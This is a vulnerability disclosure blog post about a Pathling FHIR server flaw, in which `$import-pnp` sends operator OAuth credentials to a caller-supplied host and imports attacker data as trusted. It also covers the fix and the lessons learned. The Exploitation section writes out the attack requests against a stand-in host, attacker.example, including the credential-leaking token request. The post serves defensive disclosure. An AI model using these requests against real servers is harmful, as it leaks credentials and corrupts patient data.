# TrustLaunder: how a healthcare FHIR server turned attacker URLs into trusted patient data > A vulnerability in Pathling Server versions 1.2.0 and earlier allowed attackers to bypass security allowlists by reclassifying untrusted data as local after fetching it from attacker-controlled URLs. Author: Cantina Published: June 17, 2026 Topics: healthcare security, FHIR, vulnerability, supply chain, data poisoning, SSRF, credential leakage Canonical URL: https://www.cantina.security/blog/pathling-cve-2026-47664 > Identified by [Apex](https://cantina.security/), [Cantina](https://cantina.security/)'s autonomous AppSec agent. ## Introduction In Pathling Server versions 1.2.0 and earlier, the `$import-pnp` operation accepts a caller-controlled URL and uses it as the target for a credentialed FHIR bulk export, then re-imports the downloaded files into the analytical warehouse as trusted local data. The only prerequisite is an authenticated session. Pathling Server ships two import operations. The ordinary `$import` enforces an `allowableSources` allowlist that exists, per Pathling's own documentation, "for security reasons." The convenience operation `$import-pnp` does not. After downloading files from the caller-supplied `exportUrl`, the executor constructs a synthetic allowlist of `file:///` and hands the staged files back to the same `ImportExecutor` as if they came from a trusted local source. Cantina calls this pattern **TrustLaunder**: bypassing an allowlist by reclassifying data as local after fetching it from anywhere. The blast radius is three layers deep. Pathling sends its operator-configured `client_credentials` to the attacker's token endpoint via HTTP Basic, leaking the OAuth client ID and secret (or `privateKeyJwk` assertion). It then issues bearer-authenticated requests to attacker infrastructure, an authenticated server-side request forgery from Pathling's network position. Finally, it imports attacker-controlled NDJSON into the warehouse as trusted patient and observation data, with `saveMode` defaulting to `OVERWRITE` so existing analytics can be silently replaced. Tracked as [GHSA-69wc-hrxh-5528](https://github.com/aehrc/pathling/security/advisories/GHSA-69wc-hrxh-5528), fixed in `server-v2.0.0`. ## A note on healthcare security This bug lives in a FHIR analytics server that processes patient records. Healthcare data outlasts the breach: a credit card can be reissued and a password can be rotated, but a diagnosis cannot be un-diagnosed. The downstream views, cohort selections, and machine-learning pipelines that draw from the analytical warehouse all inherit whatever the warehouse contains. That is why TrustLaunder's blast radius is High, not Moderate. An attacker who lands attacker-controlled NDJSON in the warehouse owns every clinical-research output that machine-reads from that warehouse, until someone notices the resources are not authentic. For the broader healthsec context that this finding sits inside, see [After TrustLaunder: Apex's Other Four Pathling Findings](https://www.cantina.security/blog/pathling-phi-exposure-4-more-from-apex). Four more Pathling bugs, same pattern. ## The chain Pathling is the [Australian e-Health Research Centre](https://aehrc.csiro.au/)'s open-source FHIR analytics platform, built on Apache Spark and used by research institutions and health-tech companies for terminology-aware queries against patient records. Both of its import operations write through the same downstream `ImportExecutor`, but only `$import` validates the source URL against the configured allowlist. ```typescript POST /fhir/$import-pnp { exportUrl } → ImportPnpOperationValidator // accepts exportUrl as-is, defaults saveMode=OVERWRITE → ImportPnpExecutor // acquires token, fetches export, downloads NDJSON • POST token request → SMART-discovered token endpoint • POST $export → exportUrl • download NDJSON → / → ImportExecutor // ingests with pnpAllowableSources=file:/// ``` Four behaviors compose the chain. `ImportPnpOperationValidator` accepts any `exportUrl`. `ImportPnpExecutor` binds the operator's PNP credentials to the caller-supplied URL, and if the token endpoint is not pinned in configuration, performs SMART discovery against the same caller-supplied host (so the attacker's `.well-known/smart-configuration` document controls where the credentials are sent). After downloading files, the executor passes a synthetic `pnpAllowableSources` of `file:///` to `ImportExecutor`. The shared ingestion code validates the staged paths against the synthetic value, finds a clean match, and writes the attacker's NDJSON into the warehouse. Resource type is derived from the attacker-controlled filename in the manifest. ## Exploitation A single authenticated `$import-pnp` request runs the chain end to end. The attacker sends: ```http POST /fhir/$import-pnp HTTP/1.1 Authorization: Bearer { "resourceType": "Parameters", "parameter": [ { "name": "exportUrl", "valueUrl": "https://attacker.example/fhir" } ]} ``` Pathling performs SMART discovery against attacker.example, follows the attacker-supplied token_endpoint, and transmits the operator's client ID and secret via HTTP Basic: ```http POST /token HTTP/1.1 Host: attacker.example Authorization: Basic Content-Type: application/x-www-form-urlencoded grant_type=client_credentials&scope=system%2F*.read ``` With the attacker-issued bearer token, Pathling then runs `$export`, polls status, and downloads NDJSON from the attacker's host. The files are staged locally, ingested as trusted `file://` inputs, and written to the warehouse with `saveMode=OVERWRITE`. The attacker reads `Patient/attacker-patient` and `Observation/attacker-observation` back through Pathling's normal FHIR API. A single authenticated request runs the chain to completion, leaking operator credentials, demonstrating an authenticated SSRF primitive, and poisoning the warehouse. ## Fix and mitigation Pathling [server-v2.0.0](https://github.com/aehrc/pathling/releases/tag/server-v2.0.0), released 9 May 2026, closes the chain at the URL layer. Two changes carry the root-cause fix: - **Mandatory URL allowlist.** A new setting `pathling.import.pnp.allowableExportUrls` defaults to `[]`, and an empty list now rejects every request. Operators must populate it explicitly for `$import-pnp` to work at all. - **URI-aware matching.** The previous `String.startsWith` comparison would have matched `https://allowed.example.com.attacker.org` against `https://allowed.example.com`. The new matcher compares scheme, host, port, and path-under semantics. Defense-in-depth additions include plain-HTTP rejection by default (via a new `pathling.allowInsecureUrls` flag), IP-class SSRF closures, path-containment and symlink resolution on the staging path, per-resource authority checks across CRUD providers, and explicit principal verification in the `$import-pnp` auth interlock. The full [v1.2.0...v2.0.0 compare view](https://github.com/aehrc/pathling/compare/server-v1.2.0...server-v2.0.0) lists every change. **Pre-upgrade mitigation.** Set `pathling.operations.importPnpEnabled=false` to disable the operation, or remove PNP credentials from configuration so the credential-leak link in the chain has nothing to leak. The Pathling maintainer, John Grimes, shipped the fix 12 days before publishing the advisory and wrote release notes that name every change explicitly. Cantina recommends the [advisory](https://github.com/aehrc/pathling/security/advisories/GHSA-69wc-hrxh-5528) and [release notes](https://github.com/aehrc/pathling/releases/tag/server-v2.0.0) as a reference example for what transparent open-source disclosure looks like. ## Takeaways **1. TrustLaunder is a reusable bypass pattern, not a single bug.** Wherever a shared downstream component accepts a "this is already trusted" parameter from an upstream sibling, the upstream can launder untrusted data through it. Pathling's `ImportExecutor` accepts a `pnpAllowableSources` argument that overrides its configured allowlist. The PNP executor synthesizes that argument from a `file://` path it just created. No line of code is subverted, every component does what its API says, but the composition launders untrusted data into trusted state. Audit your stack for the same pattern. Anywhere a function accepts a "use this allowlist instead of the configured one" parameter is a candidate. **2. Convenience operations inherit the API of their secure siblings, not the threat model.** Pathling's `$import` enforced an allowlist documented as a security control. `$import-pnp` was built to do the same job through a different transport and inherited only the API, not the constraint. Whenever you ship a second path to a privileged operation, audit it against the threat model of the underlying operation, not just the surface API. **3. Operator credentials should not bind to caller-controlled endpoints, including via discovery.** Pathling's PNP credentials existed to authenticate against an operator-chosen data provider. The executor presented them to whatever host appeared in `exportUrl`, and when the token endpoint was not pinned, it discovered it from OAuth metadata served by the caller-supplied host. SMART discovery is a credential-exfiltration primitive in that configuration. A request parameter is never an authentication destination, and "discovered from the request parameter" is not better. ## About Apex Apex, Cantina's autonomous AppSec agent, finds high-impact vulnerabilities in critical infrastructure that is not getting the attention it deserves. If you maintain a system that ingests data from external sources, especially in regulated industries, [contact us](https://cantina.security/).